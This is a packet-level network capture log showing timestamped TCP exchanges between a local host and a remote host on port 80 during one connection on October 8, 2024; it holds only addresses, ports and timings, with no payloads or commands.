Oct 8, 2024 03:22:08.855447054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855458021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855477095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855509996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855511904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855545044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855560064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855590105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855596066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855638981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855644941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855679989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855690002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855715036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855730057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855746984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855761051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855792999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855798006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855830908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855844975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855864048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855875969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855901003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.855906010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855951071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.855968952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856003046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856014013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856038094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856048107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856070995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856084108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856103897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856110096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856151104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856154919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856189013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856197119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856234074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856239080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856271029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856277943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856314898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856319904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856365919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856372118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856404066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856416941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856437922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856448889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856470108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856482029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856518984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856553078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856564999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856564999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856585026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856592894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856621027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856632948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856662989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856674910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856709003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856719971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856754065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856760025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856791973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856816053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856825113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856834888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856858015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856868982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856892109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856904030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856925011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.856936932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856971025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.856975079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857008934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857028961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857040882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857050896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857074022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857085943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857106924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857116938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857139111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857172012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857176065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857197046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857206106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857223988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857259989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857264042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857291937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857326984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857342958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857358932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857373953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857409000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857413054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857440948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857475042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857491016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857526064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857548952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857561111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857589006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857593060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857633114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857635021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857655048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857681990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857691050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857716084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857748032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857764006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857780933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857795954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857815027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857834101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857847929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.857887983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.857887983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901377916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901415110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901467085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901487112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901515961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901527882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901549101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901565075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901582956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901596069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901618004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901628971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901652098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901664972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901699066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901834965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901868105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901884079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901917934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901921034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.901951075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.901972055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902003050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902004004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902035952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902055025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902069092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902082920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902102947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902117968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902153015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902167082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902184963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902203083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902221918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902225971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902271032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902272940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902319908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902319908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902352095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902369022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902384996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902400970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902412891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902430058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902462006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902465105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902497053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902508974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902529001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902544975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902563095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902575970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902595043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902607918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902627945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902645111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902677059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902677059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902710915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902724981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902744055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902756929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902777910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902791977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902810097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902826071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902843952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902858019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902874947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902893066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902925014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902929068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.902972937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.902976036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.903026104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.903027058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.903054953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.903074026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.903086901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.903095961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.903124094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.903136969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.903156996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.903172016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.903191090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.903206110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.903224945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.903238058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.903273106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.942668915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.942718029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.942774057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.942827940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.942861080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.942894936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.942944050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.942956924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.942956924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.942956924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.942956924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.942956924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.942956924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.942979097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943032980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943038940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943038940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943065882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943077087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943099022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943109035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943133116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943141937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943175077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943186998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943224907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943231106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943253994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943268061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943285942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943295956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943330050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943336964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943366051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943380117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943406105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943445921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943495035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943526983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943542957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943542957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943559885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943567038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943592072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943603039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943624973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943634033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943654060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943667889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943696976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943702936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943751097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943754911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943787098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943795919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943819046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943830967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943861961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943866968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943902969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943913937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943944931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.943957090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.943991899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944010973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944025040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944036961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944068909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944091082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944123983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944138050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944158077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944168091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944190979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944200993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944235086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944241047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944272995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944293976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944315910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944322109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944354057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944375038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944386959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944396019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944418907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944446087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944452047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944467068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944502115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944510937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944536924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944546938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944565058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944602966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944602966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944616079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944650888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944668055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944700003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944710016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944734097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944751978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944765091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944775105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944798946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944808960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944830894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944849014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944863081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944874048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944895029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944905043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944926977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944938898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:08.944960117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:08.944973946 CEST	49704	80	192.168.2.5	185.215.113.37
